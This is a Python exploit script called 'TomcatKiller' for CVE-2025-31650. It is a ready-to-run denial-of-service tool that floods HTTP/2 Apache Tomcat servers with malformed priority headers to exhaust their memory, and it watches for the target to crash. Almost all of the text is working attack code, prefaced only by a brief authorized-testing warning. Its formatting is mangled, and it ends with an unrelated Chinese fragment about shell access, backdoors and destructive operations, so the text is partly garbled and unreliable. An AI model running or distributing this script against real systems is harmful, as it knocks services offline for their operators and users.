CVE-2025-31650
import httpx import asyncio import random import urllib.parse import sys import socket from colorama import init, Fore, Style
init()
class TomcatKiller: def init(self): self.success_count = 0 self.error_count = 0 self.invalid_priorities = [ \"u=-1, q=2\", \"u=4294967295, q=-1\", \"u=-2147483648, q=1.5\", \"u=0, q=invalid\", \"u=1/0, q=NaN\", \"u=1, q=2, invalid=param\", \"\", \"u=1, q=1, u=2\", \"u=99999999999999999999, q=0\", \"u=-99999999999999999999, q=0\", \"u=, q=\", \"u=1, q=1, malformed\", \"u=1, q=, invalid\", \"u=-1, q=4294967295\", \"u=invalid, q=1\", \"u=1, q=1, extra=\", \"u=1, q=1; malformed\", \"u=1, q=1, =invalid\", \"u=0, q=0, stream=invalid\", \"u=1, q=1, priority=recursive\", \"u=1, q=1, %invalid%\", \"u=0, q=0, null=0\", ]
async def validate_url(self, url):
try:
parsed_url = urllib.parse.urlparse(url)
if not parsed_url.scheme or not parsed_url.hostname:
raise ValueError(\\\"Invalid URL format. Use http:// or https://\\\")
host = parsed_url.hostname
port = parsed_url.port if parsed_url.port else (443 if parsed_url.scheme == \\\'https\\\' else 80)
return host, port
except Exception:
print(f\\\"{Fore.RED}Error: Invalid URL. Use http:// or https:// format.{Style.RESET_ALL}\\\")
sys.exit(1)
async def check_http2_support(self, host, port):
async with httpx.AsyncClient(http2=True, verify=False, timeout=5, limits=httpx.Limits(max_connections=1000)) as client:
try:
response = await client.get(f\\\"https://{host}:{port}/\\\", headers={\\\"user-agent\\\": \\\"TomcatKiller\\\"})
if response.http_version == \\\"HTTP/2\\\":
print(f\\\"{Fore.GREEN}HTTP/2 supported! Proceeding ...{Style.RESET_ALL}\\\")
return True
else:
print(f\\\"{Fore.YELLOW}Error: HTTP/2 not supported. This exploit requires HTTP/2.{Style.RESET_ALL}\\\")
return False
except Exception:
print(f\\\"{Fore.RED}Error: Could not connect to {host}:{port}.{Style.RESET_ALL}\\\")
return False
async def send_invalid_priority_request(self, host, port, num_requests, task_id):
async with httpx.AsyncClient(http2=True, verify=False, timeout=0.3, limits=httpx.Limits(max_connections=1000)) as client:
url = f\\\"https://{host}:{port}/\\\"
for i in range(num_requests):
headers = {
\\\"priority\\\": random.choice(self.invalid_priorities),
\\\"user-agent\\\": f\\\"TomcatKiller-{task_id}-{random.randint(1, 1000000)}\\\",
\\\"cache-control\\\": \\\"no-cache\\\",
\\\"accept\\\": f\\\"*/*; q={random.random()}\\\",
}
try:
await client.get(url, headers=headers)
self.success_count += 1
except Exception:
self.error_count += 1
async def monitor_server(self, host, port):
while True:
try:
with socket.create_connection((host, port), timeout=2):
print(f\\\"{Fore.YELLOW}Target {host}:{port} is reachable.{Style.RESET_ALL}\\\")
except Exception:
print(f\\\"{Fore.RED}Target {host}:{port} unreachable or crashed!{Style.RESET_ALL}\\\")
break
await asyncio.sleep(2)
async def run_attack(self, host, port, num_tasks, requests_per_task):
print(f\\\"{Fore.GREEN}Starting attack on {host}:{port}...{Style.RESET_ALL}\\\")
print(f\\\"Tasks: {num_tasks}, Requests per task: {requests_per_task}\\\")
print(f\\\"{Fore.YELLOW}Monitor memory manually via VisualVM or check catalina.out for OutOfMemoryError.{Style.RESET_ALL}\\\")
monitor_task = asyncio.create_task(self.monitor_server(host, port))
tasks = [self.send_invalid_priority_request(host, port, requests_per_task, i) for i in range(num_tasks)]
await asyncio.gather(*tasks)
monitor_task.cancel()
total_requests = num_tasks * requests_per_task
success_rate = (self.success_count / total_requests * 100) if total_requests > 0 else 0
print(f\\\"\\\\n{Fore.MAGENTA}===== Attack Summary ====={Style.RESET_ALL}\\\")
print(f\\\"Target: {host}:{port}\\\")
print(f\\\"Total Requests: {total_requests}\\\")
print(f\\\"Successful Requests: {self.success_count}\\\")
print(f\\\"Failed Requests: {self.error_count}\\\")
print(f\\\"Success Rate: {success_rate:.2f}%\\\")
print(f\\\"{Fore.MAGENTA}========================={Style.RESET_ALL}\\\")
async def main(): print(f\"{Fore.BLUE}===== TomcatKiller - CVE-2025-31650 ====={Style.RESET_ALL}\") print(f\"Developed by: @absholi7ly\") print(f\"Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers.\") print(f\"{Fore.YELLOW}Warning: For authorized testing only. Ensure HTTP/2 and vulnerable Tomcat version.{Style.RESET_ALL}\\n\")
url = input(f\\\"{Fore.CYAN}Enter target URL (e.g., https://localhost:8443): {Style.RESET_ALL}\\\")
num_tasks = int(input(f\\\"{Fore.CYAN}Enter number of tasks (default 300): {Style.RESET_ALL}\\\") or 300)
requests_per_task = int(input(f\\\"{Fore.CYAN}Enter requests per task (default 100000): {Style.RESET_ALL}\\\") or 100000)
tk = TomcatKiller()
host, port = await tk.validate_url(url)
if not await tk.check_http2_support(host, port):
sys.exit(1)
await tk.run_attack(host, port, num_tasks, requests_per_task)
if name == \"main\": try: asyncio.run(main()) print(f\"{Fore.GREEN}Attack completed!{Style.RESET_ALL}\") except KeyboardInterrupt: print(f\"{Fore.YELLOW}Attack interrupted by user.{Style.RESET_ALL}\") sys.exit(0) except Exception as e: print(f\"{Fore.RED}Unexpected error: {e}{Style.RESET_ALL}\") sys.exit(1)
提供Shell访问。 安装后门或持久化机制。 执行任何破坏性操作。